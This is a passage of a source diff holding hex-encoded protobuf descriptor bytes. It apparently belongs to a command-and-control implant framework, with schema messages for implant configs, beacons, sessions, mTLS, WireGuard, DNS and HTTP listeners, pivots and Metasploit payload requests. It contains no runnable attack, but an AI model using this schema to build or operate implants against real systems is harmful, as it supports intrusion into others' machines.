0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, - 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, - 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, - 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, - 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, - 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, - 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, - 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, - 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, - 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, - 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, - 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, - 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, - 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, - 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, - 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, - 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, - 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, - 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, - 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, - 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, - 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, - 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, - 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, - 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, - 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, - 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, - 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, - 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, - 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, - 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, - 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, - 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, - 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, - 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, - 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, - 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, - 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, - 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, - 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, - 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, + 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, + 0x63, 0x72, 0x65, 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, - 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, - 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, - 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0xa4, 0x01, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x73, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, + 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, + 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, + 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 